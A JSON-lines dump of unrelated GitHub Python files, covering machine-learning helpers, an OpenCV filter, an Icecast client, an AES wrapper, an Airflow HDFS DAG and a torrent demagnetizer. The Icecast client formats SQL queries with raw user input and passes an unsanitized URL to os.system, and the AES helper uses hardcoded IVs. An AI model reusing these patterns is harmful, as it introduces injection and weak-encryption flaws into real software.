\"\"\"\r\n :param x: testing set features\r\n :param y: testing set labels\r\n \"\"\"\r\n if self.best_k is None or self.Training_x is None or self.Training_y is None:\r\n print(\"Usage Error: Please use NearestNeighbors.fit(x,y) first.\")\r\n return -1\r\n x, y = self._shuffle_data(x, y)\r\n self.Testing_x = x\r\n self.Testing_y = y\r\n k = self.best_k\r\n accuracy, predictions = self._classify(self.Training_x, self.Training_y, x, y, k)\r\n return accuracy, predictions\r\n\r\n def visualise_classification(self, y_hat):\r\n if self.Testing_x is None or self.Testing_y is None:\r\n print(\"Usage Error: Please use NearestNeighbors.predict_and_evaluate(x,y) first.\")\r\n return -1\r\n fig = plt.figure()\r\n fig.subplots_adjust(wspace=0.3)\r\n x = self.Testing_x\r\n true_y = self.Testing_y\r\n try:\r\n i1t = np.where(np.logical_and(true_y == 1, y_hat == 1))[0][0]\r\n i1f = np.where(np.logical_and(true_y != 1, y_hat == 1))[0][0]\r\n i2t = np.where(np.logical_and(true_y == 2, y_hat == 2))[0][0]\r\n i2f = np.where(np.logical_and(true_y != 2, y_hat == 2))[0][0]\r\n i7t = np.where(np.logical_and(true_y == 7, y_hat == 7))[0][0]\r\n i7f = np.where(np.logical_and(true_y != 7, y_hat == 7))[0][0]\r\n except:\r\n print()\r\n print(\"Not enough misclassified data to generate visualization! Please Run Problem3 again.\")\r\n return\r\n title_size = 7\r\n fig.add_subplot(2, 3, 1)\r\n data = x[i1t]\r\n title = \"Correctly Classified 1\"\r\n data = data.reshape(28, 28)\r\n plt.title(title, fontsize=title_size)\r\n plt.imshow(data, cmap='gray')\r\n fig.add_subplot(2, 3, 4)\r\n data = x[i1f]\r\n title = \"Incorrectly Classified 1\"\r\n data = data.reshape(28, 28)\r\n plt.title(title, fontsize=title_size)\r\n plt.imshow(data, cmap='gray')\r\n\r\n fig.add_subplot(2, 3, 2)\r\n data = x[i2t]\r\n title = \"Correctly Classified 2\"\r\n data = data.reshape(28, 28)\r\n plt.title(title, fontsize=title_size)\r\n plt.imshow(data, cmap='gray')\r\n fig.add_subplot(2, 3, 5)\r\n data = x[i2f]\r\n title = \"Incorrectly Classified 2\"\r\n data = data.reshape(28, 28)\r\n plt.title(title, fontsize=title_size)\r\n plt.imshow(data, cmap='gray')\r\n\r\n fig.add_subplot(2, 3, 3)\r\n data = x[i7t]\r\n title = \"Correctly Classified 7\"\r\n data = data.reshape(28, 28)\r\n plt.title(title, fontsize=title_size)\r\n plt.imshow(data, cmap='gray')\r\n fig.add_subplot(2, 3, 6)\r\n data = x[i7f]\r\n title = \"Incorrectly Classified 7\"\r\n data = data.reshape(28, 28)\r\n plt.title(title, fontsize=title_size)\r\n plt.imshow(data, cmap='gray')\r\n plt.show()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n print(\"utils.py: a helper file for main.py.\\n\")\r\n","repo_name":"Reza-Marzban/Naive-bayes-and-cross-validation-Nearest-Neighbour","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":16382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5946927226","text":"import os\nimport numpy as np\nimport cv2\n\n\neyes_detector = cv2.CascadeClassifier(\"third-party/frontalEyes35x16.xml\")\nnose_detector = cv2.CascadeClassifier(\"third-party/Nose18x15.xml\")\n\njamie = cv2.imread(\"Jamie_Before.jpg\")\n# cv2.imshow(\"jamie\", jamie)\n\nglass = cv2.imread(\"glasses.png\",cv2.IMREAD_UNCHANGED)\nglass = cv2.cvtColor(glass, cv2.COLOR_BGRA2RGBA)\n\nmoustache = cv2.imread(\"mustache.png\", -1)\n\n# cv2.imshow(\"jamie\", moustache)\n\n\nnew_glass = eyes_detector.detectMultiScale(jamie, 1.3, 5)\nnew_moustache = nose_detector.detectMultiScale(jamie, 1.3, 5)\n\nx,y,w,h = new_glass[0]\n\nglass = cv2.resize(glass, (w,h))\n\nfor i in range(glass.shape[0]):\n\tfor j in range(glass.shape[1]):\n\t\tif (glass[i,j,3]>3): \n\t\t\tjamie[y+i, x+j, :] = glass[i,j,:-1]\n\n\nx,y,w,h = new_moustache[0]\n\nmustache = cv2.resize(moustache, (w,h))\n\nfor i in range(mustache.shape[0]):\n\tfor j in range(mustache.shape[1]):\n\t\tif(mustache[i,j,3] > 3):\n\t\t\tjamie[y+i, x+j, :] = mustache[i,j,:-1]\n\ncv2.imshow(\"jamie\", jamie)\n\n\n\n\n\ncv2.waitKey(0)\ncv2.destroyAllWindows()","repo_name":"Abhishek2089/Machine-Learning-","sub_path":"SnapChat-Filters-KNN/filter.py","file_name":"filter.py","file_ext":"py","file_size_in_byte":1026,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25616242191","text":"import math\nimport random\n\n\nclass Ball:\n\n __balls = []\n\n def __init__(self, canvas, x, y, r, angle, color, tag):\n self.__canvas = canvas\n self.__x = x\n self.__y = y\n self.__r = r\n self.__tag = tag\n self.__x_direction = 1\n self.__y_direction = math.tan(math.radians(angle))\n self.__id = canvas.create_oval(\n x - r,\n y - r,\n x + r,\n y + r,\n fill=color,\n outline=color,\n tag=tag\n )\n\n def get_canvas(self):\n return self.__canvas\n\n def get_tag(self):\n return self.__tag\n\n def draw(self):\n if self.__x >= self.__canvas.winfo_width() - self.__r or self.__x < self.__r:\n self.__x_direction *= -1\n if self.__y >= self.__canvas.winfo_height() - self.__r or self.__y < self.__r:\n self.__y_direction *= -1\n self.__x += self.__x_direction\n self.__y += self.__y_direction\n self.__canvas.move(self.__id, self.__x_direction, self.__y_direction)\n\n @classmethod\n def remove(cls):\n if Ball.__balls:\n ball = Ball.__balls.pop()\n ball.get_canvas().delete(ball.get_tag())\n del ball\n print('Ball in pool', len(Ball.__balls))\n\n @classmethod\n def add(cls, my_canvas):\n size = random.randint(0, 75)\n angle = random.randint(0, 90)\n color = \"#\" + ''.join([random.choice('0123456789ABCDEF') for j in range(6)])\n ball = Ball(\n my_canvas,\n size,\n size,\n size,\n angle,\n color,\n color\n )\n Ball.__balls.append(ball)\n print('Ball in pool', len(Ball.__balls))\n\n @staticmethod\n def get_balls():\n return Ball.__balls\n","repo_name":"tmontel/tkball","sub_path":"grafik/ball.py","file_name":"ball.py","file_ext":"py","file_size_in_byte":1806,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4874967478","text":"import matplotlib.pyplot as plt\n\nfileWithDots = open(\"Numbers.txt\", \"r\")\nlistOfDots = fileWithDots.readlines()\nfileWithDots.close()\n\nx = []\ny = []\n\nfor i in range(len(listOfDots)):\n listOfDots[i] = listOfDots[i].split()\n x.append(int(listOfDots[i][1]))\n y.append(int(listOfDots[i][0]))\n\nfig, ax = plt.subplots()\nsizeInInches = (7.714285714285714, 13.714285714285714)\nax.scatter(x, y, s=1)\nfig.set_figwidth(sizeInInches[0])\nfig.set_figheight(sizeInInches[1])\nplt.savefig('plot.png', dpi=70, bbox_inches='tight')\nplt.show()\n\n","repo_name":"Nikolay-spec/Coordinator","sub_path":"Lab2.py","file_name":"Lab2.py","file_ext":"py","file_size_in_byte":532,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21094965387","text":"import urllib2\nimport sys\nimport BeautifulSoup\nimport getpass\nimport os\nimport os.path\nimport sqlite3\n\nmax_streams = 256\n\n# XXX:\n# host url table\n# list sources\n# manually add sources\n# call mplayer\n\nclass Source:\n def __init__(self, sid = None, source_url = None, host_url = None, server_name = None):\n self.sid = sid\n self.source_url = source_url\n self.host_url = host_url\n self.server_name = server_name\n\n def __str__(self):\n ret = \" SID: %d\\n\" % (self.sid)\n ret = ret + \" Source URL: %s\\n\" % (self.source_url)\n ret = ret + \" Host URL: %s\\n\" % (self.host_url)\n ret = ret + \" Server Name: %s\" % (self.server_name)\n\n return ret\n\n# scrapes icecast admin xml for sources\nclass SourceScraper:\n\n user=\"admin\"\n\n def __init__(self, url):\n self.sources_l = []\n\n self.host_url = url\n if not self.host_url.startswith(\"http://\"):\n self.host_url = \"http://%s\" % self.host_url\n\n self.rq = None\n\n def parse(self):\n\n self.connect()\n\n xml = self.rq.read()\n soup = BeautifulSoup.BeautifulSoup(xml)\n sources = soup('source', limit=max_streams)\n\n for s in sources:\n\n src = Source()\n src.source_url = s.listenurl.contents[0]\n\n try:\n src.server_name = s.server_name.contents[0]\n except:\n pass\n\n src.host_url = self.host_url\n self.sources_l.append(src)\n\n def connect(self):\n\n passwd = getpass.getpass()\n passman = urllib2.HTTPPasswordMgrWithDefaultRealm()\n passman.add_password(None, self.host_url, self.user, passwd)\n auth = urllib2.HTTPBasicAuthHandler(passman)\n opener = urllib2.build_opener(auth)\n\n urllib2.install_opener(opener)\n self.rq = urllib2.urlopen(self.host_url)\n\n\"\"\"\nDatabase convenience\n\nAll data is considered trusted, so no parametrised queries\n\"\"\"\nclass Db:\n\n db_dir = \"%s/.config/icefast\" % (os.getenv(\"HOME\"))\n db_file = \"icefast.db\"\n\n def __init__(self):\n\n # ensure path where db is to be stored exists\n if (not os.path.isdir(self.db_dir)):\n os.makedirs(self.db_dir)\n print(\"Creating '%s'\" % self.db_dir)\n\n self.db = sqlite3.connect(\"%s/%s\" % (self.db_dir, self.db_file))\n\n curs = self.db.cursor()\n sql = \"CREATE TABLE IF NOT EXISTS sources\" + \\\n \"(sid INTEGER PRIMARY KEY, source_url \" + \\\n \"TEXT, host_url TEXT, server_name TEXT);\"\n curs.execute(sql)\n\n def add_source(self, src):\n sql = \"INSERT INTO sources (sid, source_url, host_url, server_name) \" + \\\n \"VALUES (NULL, ?, ?, ?);\"\n curs = self.db.cursor()\n curs.execute(sql, (src.source_url, src.host_url, src.server_name));\n\n def clear(self):\n sql = \"DELETE FROM sources;\"\n curs = self.db.cursor()\n curs.execute(sql);\n\n def commit(self):\n self.db.commit();\n\n def get_source(self, term):\n curs = self.db.cursor()\n # XXX parameterise\n # try term as an SID first\n sql = \"SELECT sid, source_url, host_url, server_name FROM sources \" + \\\n \"WHERE sid = ?;\"\n curs.execute(sql, (term,))\n one = curs.fetchone()\n\n if one != None:\n return Source(*one)\n\n # try as a search term\n sql = \"SELECT sid, source_url, host_url, server_name FROM sources \" + \\\n \"WHERE sid LIKE '%%' || ? || '%%' \" + \\\n \"OR source_url LIKE '%%' || ? || '%%' OR \" + \\\n \"host_url LIKE '%%' || ? || '%%' \" + \\\n \"OR server_name LIKE '%%' || ? || '%%';\"\n curs.execute(sql, (term, term, term, term));\n one = curs.fetchone()\n\n if one == None:\n return None\n\n two = curs.fetchone()\n if two != None:\n print(\">1 match. Please refine\")\n return None\n\n return Source(*one)\n\n def get_sources(self, filt = None):\n curs = self.db.cursor()\n\n if filt == None:\n sql = \"SELECT sid, source_url, host_url, server_name FROM sources;\"\n else:\n # XXX parameterise\n sql = (\"SELECT sid, source_url, host_url, server_name \" + \\\n \"FROM sources WHERE sid LIKE '%%%s%%' \" + \\\n \"OR source_url LIKE '%%%s%%' OR host_url LIKE '%%%s%%' \" + \\\n \"OR server_name LIKE '%%%s%%';\") % (filt, filt, filt, filt)\n\n curs.execute(sql)\n \n srcs = []\n while (True):\n\n s = curs.fetchone()\n if s == None:\n break\n\n s_o = Source(*s)\n srcs.append(s_o)\n\n return srcs\n\n# command interpreter\nclass Interp:\n\n def __init__(self):\n self.mplayer = \"mplayer -cache 512\"\n # these have to be per instance so that functors can be derived\n self.cmds = {\n \"add_source\" : {\n \"func\" : self.cmd_add_source, \n \"help\" : \"add_source \",\n \"args\" : \"1-1\"},\n \"ls\" : {\n \"func\" : self.cmd_ls,\n \"help\" : \"ls [filter]\",\n \"args\" : \"0-1\"},\n \"pull\" : {\n \"func\" : self.cmd_pull,\n \"help\" : \"pull \\n \" + \\\n \"Eg. 'pull http://somehost:port/admin/stats.xml'\",\n \"args\" : \"1-1\"},\n \"help\" : {\n \"func\" : self.cmd_help,\n \"help\" : \"help\",\n \"args\" : \"0-0\"},\n \"play\" : {\n \"func\" : self.cmd_play,\n \"help\" : \"play \",\n \"args\" : \"1-1\"},\n \"clear\" : {\n \"func\" : self.cmd_clear,\n \"help\" : \"clear\",\n \"args\" : \"0-0\"},\n }\n\n self.db = Db()\n\n # add the source url 'src_url' \n def cmd_add_source(self, src_url, origin_url):\n pass\n\n def cmd_clear(self):\n self.db.clear()\n\n def cmd_ls(self, filt = None):\n sources = self.db.get_sources(filt)\n for i in sources:\n print(\"%s\\n\" % str(i))\n\n def cmd_pull(self, host_url):\n scraper = SourceScraper(host_url)\n scraper.parse()\n i = 0\n for src in scraper.sources_l:\n self.db.add_source(src)\n i = i + 1\n self.db.commit()\n\n print(\"Successully pulled %d sources!\" % i)\n\n def cmd_help(self):\n print(\"\\nAvailable commands:\")\n for (cmd, info) in self.cmds.items():\n print(info[\"help\"])\n print(\"\")\n\n def cmd_play(self, term):\n src = self.db.get_source(term)\n\n if (src == None):\n print(\"No source found\")\n return\n\n print(\"Starting streaming, press 'q' to return to icefast\\n\")\n print(src)\n os.system(\"%s %s\" % (self.mplayer, src.source_url))\n print(\"\")\n\n # interpret commands\n def interp(self):\n done = False\n cmd = None\n\n while (not done):\n sys.stdout.write(\"icefast> \")\n sys.stdout.flush()\n\n try:\n user_line = raw_input().split()\n except EOFError:\n done = True\n\n if len(user_line) == 0:\n continue\n\n if not done:\n cmd = user_line[0]\n args = user_line[1:]\n\n\n cmd_rec = None\n try:\n cmd_rec = self.cmds[cmd]\n except KeyError:\n self.cmd_help()\n continue\n\n (a_min, a_max) = cmd_rec[\"args\"].split(\"-\")\n\n if (len(args) < int(a_min)) or (len(args) > int(a_max)):\n self.cmd_help()\n continue\n\n cmd_rec[\"func\"](*args)\n\n self.db.db.close()\n\nif __name__ == \"__main__\":\n\n interp = Interp()\n interp.interp()\n print(\"\\nbye!\")\n","repo_name":"vext01/icefast","sub_path":"icefast.py","file_name":"icefast.py","file_ext":"py","file_size_in_byte":7938,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"42828852798","text":"###################################################################\n#\n# Python Network Tunnel\n# \tAES Encryption\n#\n# Author: Nir Haike\n#\n###################################################################\n\nfrom Crypto.Cipher import AES\nimport base64\nimport random\nimport debug\n\nclass AESSession(object):\n\n\tdef __init__(self, key=\"\"):\n\t\t# blocks padding\n\t\tself.padding = 16\n\t\t# encryption key\n\t\tself.key = key\n\t\tself.ivs = [\"2FqTFHOqVprpOewD\", \"B8Yy1PefK9J6Q1Yg\", \"17vnnVuvDrkOU8RN\", \"SfQZFe9JTr2raO5E\",\n \t\t\t\t\"TSOPWt5miyJNHHt3\", \"gaWBOQVXvOh5zpaP\", \"q7sDMKFa1sQ4Lzft\", \"0xHsuDoMPuMwp5W1\",\n\t \t\t\t\"YjkSxh8NRtLnjvnu\", \"NDsx0KwJyklnVtaj\", \"SsTClsNlBQ3FJbI8\", \"zxeI6RFjxlTevmkF\",\n \t\t\t\t\"r8nR0Q0iZ8CBSgDG\", \"Fzc2zEjq5ZemhMo6\", \"vipSAXrqs0zm3Rzt\", \"qW6pRg6Hskw9rV82\",\n\t \t\t\t\"WDRHyf13xbFbgeHs\", \"Y0oxcTJwXMqGtW5G\", \"EuMOpLejvjCbpefs\", \"DV0PhrlWRB68nAH6\",\n \t\t\t\t\"XJfsIBY2fQZOmucz\", \"II4NmLvCHEZg4zar\", \"T55aKZpSXOR77nP3\", \"xktD6nXeI7eo3L2X\",\n \t\t\t\t\"o4AQDMIR0ejMnFti\", \"lzsobxc0ql2AGP4i\", \"3eCuX224H7BLnizE\", \"1xQOBNqMkfYZzi03\",\n \t\t\t\t\"QFnC1MOBARvghfD2\", \"K7qqbSDJ8v2aEVX2\", \"muoaZa3nrzTa9gRu\", \"HAUDNVS5hBGqYRxS\"]\n\n\tdef encrypt(self, data, iv=None):\n\t\t\"\"\"\n\t\t\tEncrypts data given the initial vector.\n\t\t\"\"\"\n\t\tnum = 0xff\n\t\tif not iv:\n\t\t\t# use one of the default MobileVPN IVs\n\t\t\tnum = random.randint(0, 31)\n\t\t\tiv = self.ivs[num]\n\t\t# encrypt the data\n\t\tcipher = AES.new(self.key, AES.MODE_CBC, iv)\n\t\tpadded = self.add_padding(data)\n\t\treturn chr(num) + base64.b64encode(cipher.encrypt(padded))\n\n\tdef decrypt(self, data, iv=None):\n\t\t\"\"\"\n\t\t\tDecrypts data given the initial vector.\n\t\t\"\"\"\n\t\tif not iv: # in this case the IV is included in the packet\n\t\t\t# get the first byte of the data\n\t\t\ttry:\n\t\t\t\tb = int(data[0])\n\t\t\texcept:\n\t\t\t\tb = ord(data[0])\n\t\t\t# use the given default MobileVPN IV\n\t\t\tiv = self.ivs[b%len(self.ivs)]\n\t\t\tdata = data[1:]\n\t\t# decode from base64\n\t\tdata = base64.b64decode(data)\n\t\t# decrypt the data\n\t\tcipher = AES.new(self.key, AES.MODE_CBC, iv)\n\t\tdecrypted = cipher.decrypt(data)\n\t\treturn self.remove_padding(decrypted)\n\n\tdef add_padding(self, data):\n\t\t\"\"\"\n\t\t\tAdds padding to the data (to make\n\t\t\tthe size divisible by 16).\n\t\t\"\"\"\n\t\tpad = self.padding - len(data) % self.padding\n\t\treturn data + pad * chr(pad)\n\n\tdef remove_padding(self, data):\n\t\treturn data[0:-ord(data[-1])]\n\n","repo_name":"nirhaike/MobileVPN","sub_path":"src/aes.py","file_name":"aes.py","file_ext":"py","file_size_in_byte":2354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"26118666814","text":"import airflow\nfrom airflow import DAG\nfrom airflow.operators.bash import BashOperator\nfrom airflow.operators.dummy import DummyOperator\nfrom airflow.utils.dates import days_ago\nfrom datetime import timedelta\n\ndefault_args = {\n 'owner': 'Aleksandr', \n# 'start_date': airflow.utils.dates.days_ago(2),\n # 'end_date': datetime(),\n # 'depends_on_past': False,\n # 'email': ['test@example.com'],\n #'email_on_failure': False,\n #'email_on_retry': False,\n # If a task fails, retry it once after waiting\n # at least 5 minutes\n #'retries': 1,\n 'retry_delay': timedelta(minutes=5),\n }\n\ndag_execute_hdfs_commands = DAG(\n dag_id='execute_hdfs_commands',\n default_args=default_args,\n # schedule_interval='0 0 * * *',\n schedule_interval='@once',\n start_date=days_ago(1),\n dagrun_timeout=timedelta(minutes=60),\n description='executing hdfs commands ',\n)\n\n\n# start_task = BashOperator(\n# task_id=\"start_task\",\n \n# bash_command=\"/home/ubuntu/Otus_Airflow_Pipe/DAGs/test.sh \",\n# dag=dag_execute_hdfs_commands\n# )\n\nprint(\"creating a directory\")\ncreate_dir = BashOperator(\n task_id=\"create_dir\",\n bash_command=\"hdfs dfs -mkdir /otus_test\",\n dag=dag_execute_hdfs_commands,\n run_as_user='Otus_user'\n )\n\nprint(\"giving permissions to a directory\")\ngive_permissions = BashOperator(\n task_id=\"give_permissions\",\n bash_command=\"hdfs dfs -chmod -R 777 /otus_test \", \n dag=dag_execute_hdfs_commands,\n run_as_user='Otus_user'\n )\n\nprint(\"listing files in directory\")\nlist_all_files = BashOperator(\n task_id=\"list_files\",\n bash_command=\"hdfs dfs -ls / \",\n dag=dag_execute_hdfs_commands,\n run_as_user='Otus_user'\n )\n\nprint(\"creating files in new directory\")\ncreate_empty_file = BashOperator(\n task_id=\"create_file\",\n bash_command=\"hdfs dfs -touchz /otus_test/test.txt \",\n dag=dag_execute_hdfs_commands,\n run_as_user='Otus_user'\n )\n\nprint(\"removing directory\")\nremove_dir = BashOperator(\n task_id=\"remove_dir\",\n bash_command=\"hdfs dfs -rm -r /test_otus \",\n dag=dag_execute_hdfs_commands,\n run_as_user='Otus_user'\n )\n\nprint(\"copying from local to directory\")\ncopy_from_local = BashOperator(\n task_id=\"copy_from_local\",\n bash_command=\"hdfs dfs -copyFromLocal /home/bigdata/Downloads/data_books.txt /otus_test\",\n dag=dag_execute_hdfs_commands,\n run_as_user='Otus_user'\n )\n\n# start_task>>\ncreate_dir>>give_permissions>>list_all_files>>create_empty_file>>remove_dir>>copy_from_local\n\nif __name__ == '__main__ ':\n dag_execute_hdfs_commands.cli()\n","repo_name":"a-milenkin/MLOps_Otus","sub_path":"Otus_Airflow_Pipe/DAGs/local_to_hfds.py","file_name":"local_to_hfds.py","file_ext":"py","file_size_in_byte":2880,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71038621954","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\n\tOrion\n https://orionoid.com\n\n\tThis program is free software: you can redistribute it and/or modify\n\tit under the terms of the GNU General Public License as published by\n\tthe Free Software Foundation, either version 3 of the License, or\n\t(at your option) any later version.\n\n\tThis program is distributed in the hope that it will be useful,\n\tbut WITHOUT ANY WARRANTY; without even the implied warranty of\n\tMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n\tGNU General Public License for more details.\n\n\tYou should have received a copy of the GNU General Public License\n\talong with this program. If not, see .\n\"\"\"\n\n##############################################################################\n# ORIONDEBRID\n##############################################################################\n# Class for managing Orion debrid features.\n##############################################################################\n\nfrom orion.modules.orionapi import *\n\nclass OrionDebrid:\n\n\tTypePremiumize = OrionApi.DebridPremiumize\n\tTypeOffcloud = OrionApi.DebridOffcloud\n\tTypeRealdebrid = OrionApi.DebridRealdebrid\n\tTypeDebridlink = OrionApi.DebridDebridlink\n\tTypeAlldebrid = OrionApi.DebridAlldebrid\n\n\tFileOriginal = OrionApi.FileOriginal\n\tFileStream = OrionApi.FileStream\n\tFileSequential = OrionApi.FileSequential\n\n\tOutputList = OrionApi.OutputList\n\tOutputChoice = OrionApi.OutputChoice\n\tOutputExpression = OrionApi.OutputExpression\n\tOutputDomain = OrionApi.OutputDomain\n\n\t##############################################################################\n\t# SUPPORT\n\t##############################################################################\n\n\t@classmethod\n\tdef support(self, idItem = None, idStream = None, link = None, type = None, status = None, globally = None, output = None):\n\t\tapi = OrionApi()\n\t\tapi.debridSupport(idItem = idItem, idStream = idStream, link = link, type = type, status = status, globally = globally, output = output)\n\t\treturn api.data()\n\n\t##############################################################################\n\t# LOOKUP\n\t##############################################################################\n\n\t@classmethod\n\tdef lookup(self, idItem = None, idStream = None, link = None, hash = None, item = None, type = None, refresh = None):\n\t\tif refresh is None:\n\t\t\tif idItem and idStream: refresh = False\n\t\t\telse: refresh = True\n\t\tapi = OrionApi()\n\t\tapi.debridLookup(idItem = idItem, idStream = idStream, link = link, hash = hash, item = item, type = type, refresh = refresh)\n\t\treturn api.data()\n\n\t##############################################################################\n\t# RESOLVE\n\t##############################################################################\n\n\t@classmethod\n\tdef resolve(self, idItem = None, idStream = None, link = None, type = None, file = None, output = None, ip = None, container = None, containerData = None, containerName = None, containerType = None, containerSize = None):\n\t\tapi = OrionApi()\n\t\tapi.debridResolve(idItem = idItem, idStream = idStream, link = link, type = type, file = file, output = output, ip = ip, container = container, containerData = containerData, containerName = containerName, containerType = containerType, containerSize = containerSize)\n\t\treturn api.data()\n","repo_name":"shishohf/hacker0x00-kodi","sub_path":"script.module.orion/lib/orion/modules/oriondebrid.py","file_name":"oriondebrid.py","file_ext":"py","file_size_in_byte":3299,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"15887547783","text":"import pathlib\nfrom typing import List\n\nimport setuptools\n\n\ndef read_requirements_file(filepath: pathlib.Path) -> List[str]:\n \"\"\"Parse a requirements.txt file into a list of package requirements\"\"\"\n with open(filepath, \"r\") as f:\n requirements = [\n line.strip() for line in f if line.strip() and not line.startswith(\"#\")\n ]\n return requirements\n\n\npkg_root = pathlib.Path(__file__).parent\n\n__version__ = \"\"\nwith open(pkg_root / \"benchalerts\" / \"_version.py\", \"r\") as f:\n exec(f.read()) # only overwrites the __version__ variable\n\nwith open(pkg_root / \"README.md\", \"r\") as f:\n long_description = f.read()\n\nbase_requirements = read_requirements_file(pkg_root / \"requirements.txt\")\ndev_requirements = read_requirements_file(pkg_root / \"requirements-dev.txt\")\n\n\nsetuptools.setup(\n name=\"benchalerts\",\n version=__version__,\n description=\"Automated alerting for conbench\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n packages=setuptools.find_packages(),\n entry_points={},\n classifiers=[\n \"Programming Language :: Python :: 3.8\",\n \"License :: OSI Approved :: Apache Software License\",\n ],\n python_requires=\">=3.8\",\n maintainer=\"Austin Dickey\",\n maintainer_email=\"austin@voltrondata.com\",\n url=\"https://github.com/conbench/benchalerts\",\n install_requires=base_requirements,\n extras_require={\"dev\": dev_requirements},\n)\n","repo_name":"conbench/conbench","sub_path":"benchalerts/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1451,"program_lang":"python","lang":"en","doc_type":"code","stars":93,"dataset":"github-code","pt":"61"} +{"seq_id":"23466431851","text":"fhr = open(\"input.txt\",'r')\r\nfhw = open(\"output.txt\",'w')\r\n\r\nf = fhr.readlines()\r\nfhr.close()\r\nCases = int(f[0].strip())\r\n\r\nfor i in range(0,Cases):\r\n raw = (f[i+1].strip()).split()\r\n X = int(raw[0])\r\n R = int(raw[1])\r\n C = int(raw[2])\r\n winner = \"RICHARD\"\r\n if X == 1:\r\n winner = \"GABRIEL\"\r\n elif X == 2:\r\n r = R%2\r\n c = C%2\r\n if (r,c) != (1,1):\r\n winner = \"GABRIEL\"\r\n elif X == 3:\r\n if R*C in [6,9,12]:\r\n winner = \"GABRIEL\"\r\n else:\r\n if R*C in [12,16]:\r\n winner = \"GABRIEL\"\r\n fhw.write(\"Case #\" + str(i+1) + \": \" + winner + \"\\n\")\r\nfhw.close()\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_158/910.py","file_name":"910.py","file_ext":"py","file_size_in_byte":651,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23385053971","text":"import sys\n\n\nOUTCOMES = {\n 'X': \"X won\",\n 'O': \"O won\",\n 'D': \"Draw\",\n 'I': \"Game has not completed\",\n}\n\nWIN_POSITIONS_LIST = []\n\n# Add horizontal and vertical wins.\nfor i in range(4):\n WIN_POSITIONS_LIST.append([[i, j] for j in range(4)])\n WIN_POSITIONS_LIST.append([[j, i] for j in range(4)])\n\n# Add diagonal wins.\nWIN_POSITIONS_LIST.append([[i, i] for i in range(4)])\nWIN_POSITIONS_LIST.append([[i, 3 - i] for i in range(4)])\n\n\ndef parse_row(row_str):\n result = list(row_str)\n return result\n\ndef match(positions, player):\n for pos in positions:\n if pos != player and pos != 'T':\n return False\n return True\n\ndef winner(positions):\n for player in ['X', 'O']:\n if match(positions, player):\n return player\n return False\n\nif __name__ == '__main__':\n TESTS = int(sys.stdin.readline())\n for z in range(1, TESTS + 1):\n moves_left = False\n # Read in the game board\n rows = []\n for i in range(4):\n rows.append(parse_row(sys.stdin.readline().strip('\\n')))\n if '.' in rows[-1]:\n moves_left = True\n # Identify wins.\n o = False\n for position_indices in WIN_POSITIONS_LIST:\n positions = [rows[i][j] for i, j in position_indices]\n o = winner(positions)\n if o:\n break\n if not o:\n if moves_left:\n o = 'I'\n else:\n o = 'D'\n print(\"Case #%d: %s\" % (z, OUTCOMES[o]))\n # Discard the next line.\n sys.stdin.readline()\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_116/774.py","file_name":"774.py","file_ext":"py","file_size_in_byte":1588,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71557353473","text":"from __future__ import annotations\nfrom pathlib import Path\nfrom random import randint\nfrom time import time\nfrom anyio import CapacityLimiter\nimport attr\nimport click\nfrom torf import Magnet, Torrent\nfrom torf._utils import decode_dict\nfrom .consts import CLIENT, MAGNET_LIMIT\nfrom .errors import DemagnetizeError\nfrom .session import TorrentSession\nfrom .util import Key, Report, acollect, log, make_peer_id, template_torrent_filename\n\n\n@attr.define\nclass Demagnetizer:\n key: Key = attr.Factory(Key.generate)\n peer_id: bytes = attr.Factory(make_peer_id)\n peer_port: int = attr.Factory(lambda: randint(1025, 65535))\n\n def __attrs_post_init__(self) -> None:\n log.debug(\"Using key = %s\", self.key)\n log.debug(\"Using peer ID = %r\", self.peer_id)\n log.debug(\"Using peer port = %d\", self.peer_port)\n\n async def download_torrent_info(\n self, magnets: list[Magnet], fntemplate: str\n ) -> Report:\n report = Report()\n coros = [self.demagnetize2file(m, fntemplate) for m in magnets]\n async with acollect(coros, limit=CapacityLimiter(MAGNET_LIMIT)) as ait:\n async for r in ait:\n report += r\n return report\n\n async def demagnetize2file(self, magnet: Magnet, fntemplate: str) -> Report:\n try:\n torrent = await self.demagnetize(magnet)\n filename = template_torrent_filename(fntemplate, torrent)\n log.info(\n \"Saving torrent for info hash %s to file %s\", magnet.infohash, filename\n )\n except DemagnetizeError as e:\n log.error(\"%s\", e)\n return Report.for_failure(magnet)\n try:\n Path(filename).parent.mkdir(parents=True, exist_ok=True)\n with click.open_file(filename, \"wb\") as fp:\n torrent.write_stream(fp)\n except Exception as e:\n log.error(\n \"Error writing torrent to file %r: %s: %s\",\n filename,\n type(e).__name__,\n e,\n )\n return Report.for_failure(magnet)\n return Report.for_success(magnet, filename)\n\n async def demagnetize(self, magnet: Magnet) -> Torrent:\n session = self.open_session(magnet)\n md = await session.get_info()\n return compose_torrent(magnet, md)\n\n def open_session(self, magnet: Magnet) -> TorrentSession:\n return TorrentSession(app=self, magnet=magnet)\n\n\ndef compose_torrent(magnet: Magnet, info: dict) -> Torrent:\n torrent = Torrent()\n torrent.metainfo[\"info\"] = decode_dict(info)\n torrent.trackers = magnet.tr\n 